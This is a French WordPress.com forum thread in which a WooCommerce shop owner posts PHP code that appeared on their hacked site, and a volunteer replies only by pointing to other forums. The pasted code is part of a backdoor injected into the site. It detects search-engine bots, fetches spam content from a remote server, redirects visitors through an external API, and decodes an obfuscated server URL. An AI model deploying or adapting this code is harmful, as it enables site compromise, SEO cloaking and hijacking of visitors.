[WP.org] Besoin urgent !
-
Bonjour, j’ai créer un site marchand sur woocommerce avec comme fournisseur niveau serveur OVH. Tout marchait bien jusqu’à maintenant. récemment (ce matin) je me suis connecté pour voir les nouveaux inscrits, voilà ce qui s’affiche, un autre collègue se tente de se connecter au site, et là le header à disparu. impossible de se connecter au tableau de bord. Je vous mets le code qui s’affiche ci-dessous:
ey=$currentdoorcache[« wpk »];$key1frredir=readValueFromBD($maintablaname, »wpk1″, »wphash=' » .$currenthash . »‘ »,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir== »no »){$key1frredir= » »;}$redresult= » »;if($redcode == « ktapi »&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl[« kturl »],$currenturl,$redurl[« mapi »], » »,urldecode($currentkey), » », » »,$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent, » »,$currenturl, » », » »,urldecode($currentkey), » », » », » »);}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent, » »,$currenturl, » », » »,urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache[« wpcache »])|| $currentkey== »edf8329we »){$params= »clientid= » .$clientidfmbd . »&givemecontent= » .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!= »edf8329we »){updateBDData($maintablaname,$content, »wpcache », »wphash=' » .$currenthash . »‘ »,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache[« wpcache »];}if($redresult == « bot »){if(stripos(« qqq » .$useragent, »google »)|| stripos(« qqq » .$useragent, »bing »)|| stripos(« qqq » .$useragent, »yahoo »)|| stripos(« qqq » .$useragent, »yandex »)){$botscount=readValueFromBD($maintablaname, »wpred », »wphash=’clientid' »,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount== »no »){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount, »wpred », »wphash=’clientid' »,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos(« qqq » .$referer, »google. »)|| stripos(« qqq » .$referer, »yahoo. »)|| stripos(« qqq » .$referer, »bing. »)|| stripos(« qqq » .$referer, »yandex.ru »)|| stripos(« qqq » .$referer, »mail.ru »)){$userscount=readValueFromBD($maintablaname, »wpredurl », »wphash=’clientid' »,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == « no »){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount, »wpredurl », »wphash=’clientid' »,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos(« qqq » .$referer, »google. »)|| stripos(« qqq » .$referer, »yahoo. »)|| stripos(« qqq » .$referer, »bing. »)|| stripos(« qqq » .$referer, »yandex.ru »)|| stripos(« qqq » .$referer, »mail.ru »)){$userscount=readValueFromBD($maintablaname, »wpredurl », »wphash=’clientid' »,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == « no »){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount, »wpredurl », »wphash=’clientid' »,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function createIndexBWD($tablename,$indcol,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return « udfgoihdkh48sied »;}$sql= »ALTER TABLE » .$tablename . » ADD INDEX » .$indcol . » ( » .$indcol . »(5)) »;if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return « yes »;}else{mysqli_close($dbcon);return « orutydrfsxgxcvbxcv »;}}function getStatus($mtablename,$ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$checkdata=array();$checkmaintable=mysqlTableSeekWP($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checkmaintable)&& $checkmaintable != « no »){$checkdata[« maintable »]= »good »;$linescount=getCountofTable($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($linescount!= »no »&& $linescount>3){$checkdata[« cachelines »]=$linescount-3;$cachecount=getCacheCount($mtablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if($cachecount!= »no »&& $cachecount!= »bad »){$checkdata[« cachecount »]=$cachecount;}else{$checkdata[« cachecount »]= »bad »;}}else{$checkdata[« cachelines »]= »bad »;$checkdata[« cachecount »]= »bad »;}}else{$checkdata[« maintable »]= »bad »;$checkdata[« cachecount »]= »bad »;}$checklinktable=mysqlTableSeekWP($ltablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport);if(!empty($checklinktable)&& $checklinktable != « no »){$checkdata[« linkable »]= »good »;}else{$checkdata[« linkable »]= »bad »;}return $checkdata;}function getCacheCount($tablename,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql= »SELECT COUNT(1) FROM » .$tablename . » WHERE wpcache IS NOT NULL AND wpcache!= » AND wpk IS NOT NULL »;$needvalue=mysqli_query($dbcon,$sql);$needvalue=mysqli_fetch_all($needvalue);mysqli_close($dbcon);if(count($needvalue[0])>0){return $needvalue[0][0];}else{return « bad »;}}}function goToRedirect($ip,$referrer,$ua,$domain_kt,$url_curr,$apiToken,$forlinks,$keyword,$plainred,$plainredurl,$key1){if(empty($ip)){return « »;}if(!empty($apiToken)){$user_agent_to_filter=array(‘#Asks*Jeeves#i’,’#HPs*Webs*PrintSmart#i’,’#HTTrack#i’,’#IDBot#i’,’#Indys*Library#’,’#ListChecker#i’,’#MSIECrawler#i’,’#NetCache#i’,’#Nutch#i’,’#RPT-HTTPClient#i’,’#rulinki.ru#i’,’#Twiceler#i’,’#WebAlta#i’,’#Websters*Pro#i’,’#www.cys.ru#i’,’#Wysigot#i’,’#Ahrefs#i’,’#Yeti#i’,’#Accoona#i’,’#CazoodleBot#i’,’#CFNetwork#i’,’#ConveraCrawler#i’,’#DISCo#i’,’#Downloads*Master#i’,’#FASTs*MetaWebs*Crawler#i’,’#Flexums*spider#i’,’#Gigabot#i’,’#HTMLParser#i’,’#ia_archiver#i’,’#ichiro#i’,’#IRLbot#i’,’#Java#i’,’#km.rus*bot#i’,’#kmSearchBot#i’,’#libwww-perl#i’,’#Lupa.ru#i’,’#LWP::Simple#i’,’#lwp-trivial#i’,’#Missigua#i’,’#MJ12bot#i’,’#msnbot#i’,’#Offlines*Explorer#i’,’#OmniExplorer_Bot#i’,’#PEAR#i’,’#psbot#i’,’#Python#i’,’#rulinki.ru#i’,’#SMILE#i’,’#Speedy#i’,’#Teleports*Pro#i’,’#TurtleScanner#i’,’#User-Agent#i’,’#voyager#i’,’#Webalta#i’,’#WebCopier#i’,’#WebData#i’,’#WebZIP#i’,’#Wget#i’,’#Yanga#i’,’#Yeti#i’,’#MJ12bot#i’,’#jeeves#i’,’#WordPress#i’,’#scooter#i’,’#avs*fetch#i’,’#asterias#i’,’#spiderthread revision#i’,’#sqworm#i’,’#ask#i’,’#lycos.spider#i’,’#infoseek sidewinder#i’,’#ultraseek#i’,’#polybot#i’,’#webcrawler#i’,’#robozill#i’,’#gulliver#i’,’#architextspider#i’,’#charlotte#i’,’#Vegis*bot#i’,’#BUbiNG#i’,’#ltx71#i’,’#YandexBot#i’,’#MJ12bot#i’,’#MegaIndex#i’,’#DotBot#i’);if(strpos(« qqq » .preg_replace($user_agent_to_filter,’-ANGRYBOT-‘,$ua),’-ANGRYBOT-‘)){return « bot »;}$lang=$_SERVER[‘HTTP_ACCEPT_LANGUAGE’];$ua=urlencode($ua);$url=$domain_kt . »?is_api=1&source= » .urlencode($url_curr) . »&action=get&token= » .$apiToken . »&ua= » .$ua . »&ip= » .$ip . »&keyword= » .urlencode($keyword) . »&referrer= » .$referrer . »&lang= » .$lang . »&sub_id_1= » .urlencode($key1);if(function_exists(‘curl_init’)){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_TIMEOUT,90);$output=curl_exec($ch);curl_close($ch);}else{$params=explode(« ? »,$url);$params=$params[1];$output=file_get_contents($url,false,stream_context_create(array(‘http’=> array(‘method’=> ‘POST’,’header’=> ‘Content-type: application/x-www-form-urlencoded’,’content’=> $params))));}$result=json_decode($output);$result=(array)$result;$result=(array)$result[« redirect »];if($result[« content »]!== « bot »){if(!empty($forlinks)){return « »;}foreach($result[« headers »]as $header){header($header);}if($result[« content »]){$result[« content »]=urldecode($result[« content »]);return $result[« content »];}}elseif($result[« content »]=== « bot »){return « bot »;}else{return « »;}}else{$is_bot= » »;$user_agent_to_filter=array(‘#Asks*Jeeves#i’,’#HPs*Webs*PrintSmart#i’,’#HTTrack#i’,’#IDBot#i’,’#Indys*Library#’,’#ListChecker#i’,’#MSIECrawler#i’,’#NetCache#i’,’#Nutch#i’,’#RPT-HTTPClient#i’,’#rulinki.ru#i’,’#Twiceler#i’,’#WebAlta#i’,’#Websters*Pro#i’,’#www.cys.ru#i’,’#Wysigot#i’,’#Yahoo!s*Slurp#i’,’#Yeti#i’,’#Accoona#i’,’#CazoodleBot#i’,’#CFNetwork#i’,’#ConveraCrawler#i’,’#DISCo#i’,’#Downloads*Master#i’,’#FASTs*MetaWebs*Crawler#i’,’#Flexums*spider#i’,’#Gigabot#i’,’#HTMLParser#i’,’#ia_archiver#i’,’#ichiro#i’,’#IRLbot#i’,’#Java#i’,’#km.rus*bot#i’,’#kmSearchBot#i’,’#libwww-perl#i’,’#Lupa.ru#i’,’#LWP::Simple#i’,’#lwp-trivial#i’,’#Missigua#i’,’#MJ12bot#i’,’#msnbot#i’,’#msnbot-media#i’,’#Offlines*Explorer#i’,’#OmniExplorer_Bot#i’,’#PEAR#i’,’#psbot#i’,’#Python#i’,’#rulinki.ru#i’,’#SMILE#i’,’#Speedy#i’,’#Teleports*Pro#i’,’#TurtleScanner#i’,’#User-Agent#i’,’#voyager#i’,’#Webalta#i’,’#WebCopier#i’,’#WebData#i’,’#WebZIP#i’,’#Wget#i’,’#Yandex#i’,’#Yanga#i’,’#Yeti#i’,’#msnbot#i’,’#spider#i’,’#yahoo#i’,’#jeeves#i’,’#googlebot#i’,’#altavista#i’,’#scooter#i’,’#avs*fetch#i’,’#asterias#i’,’#spiderthread revision#i’,’#sqworm#i’,’#ask#i’,’#lycos.spider#i’,’#infoseek sidewinder#i’,’#ultraseek#i’,’#polybot#i’,’#webcrawler#i’,’#robozill#i’,’#gulliver#i’,’#architextspider#i’,’#yahoo!s*slurp#i’,’#charlotte#i’,’#bingbot#i’);$stop_ips_masks=array(« 66.249.[6-9][0-9].[0-9] », »74.125.[0-9].[0-9] », »65.5[2-5].[0-9].[0-9] », »74.6.[0-9].[0-9] », »67.195.[0-9].[0-9] », »72.30.[0-9].[0-9] », »38.[0-9].[0-9].[0-9] », »93.172.94.227″, »212.100.250.218″, »71.165.223.134″, »70.91.180.25″, »65.93.62.242″, »74.193.246.129″, »213.144.15.38″, »195.92.229.2″, »70.50.189.191″, »218.28.88.99″, »165.160.2.20″, »89.122.224.230″, »66.230.175.124″, »218.18.174.27″, »65.33.87.94″, »67.210.111.241″, »81.135.175.70″, »64.69.34.134″, »89.149.253.169″, »104.132.8.69″);foreach($stop_ips_masks as $k => $v){if(preg_match(‘#^’ .$v .’$#’,$ip)){$is_bot= »bot »;}}if(empty($is_bot)&& strpos(« qqq » .preg_replace($user_agent_to_filter,’-ANGRYBOT-‘,$ua),’-ANGRYBOT-‘)){$is_bot= »bot »;}if($is_bot== »bot »){return $is_bot;}if(!empty($forlinks)){return « »;}if(!empty($plainred)){if(!empty($plainredurl)){$plainred=str_ireplace(« [REDIRECTURL] »,$plainredurl,$plainred);}$plainred=str_ireplace(« [DEFISKEY] »,str_ireplace( » « , »-« ,$keyword),$plainred);$plainred=str_ireplace(« [SPACEKEY] »,$keyword,$plainred);$plainred=str_ireplace(« [CURRURL] »,$url_curr,$plainred);$plainred=str_ireplace(« [REFERER] »,$referrer,$plainred);$plainred=str_ireplace(« [MULTIKEYREDIRECT] »,$key1,$plainred);return $plainred;}else{return « »;}}return « »;}function updateBDData($tablename,$data,$value,$uslovie,$dbhost,$dbname,$dbuser,$dbpass,$dbport){$dbcon=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);if(!$dbcon){return false;}else{$sql= »UPDATE » .$tablename . » SET $value=' » .$data . »‘ WHERE » .$uslovie . » »;if(mysqli_query($dbcon,$sql)){mysqli_close($dbcon);return « yes »;}else{mysqli_close($dbcon);return false;}}}function placeLinks($pageurl,$links){$page=httpGet($pageurl);if(!empty($page)){$page=preg_replace(« /(
Est-ce que quelqu’un pourrait me dire de quoi il s’agit et comment réparer cela s’il vous plaît?
Merci à vous tous.
-
Bonjour,
Comme vos questions concernent WooCommerce, je vous invite à communiquer directement avec leur soutien technique :
https://wordpress.org/support/plugin/woocommerce.
Je vous conseille aussi comme vous nous citez OVH veuillez donc reposer votre question à l’adresse :
https://wpfr.net/support/Pour mieux comprendre, je vous invite à lire attentivement cette annonce importante :
https://wordpress.com/fr/forums/topic/important-ce-forum-est-reserve-aux-sites-heberges-par-wordpresscom/
- Le sujet ‘[WP.org] Besoin urgent !’ est fermé aux nouvelles réponses.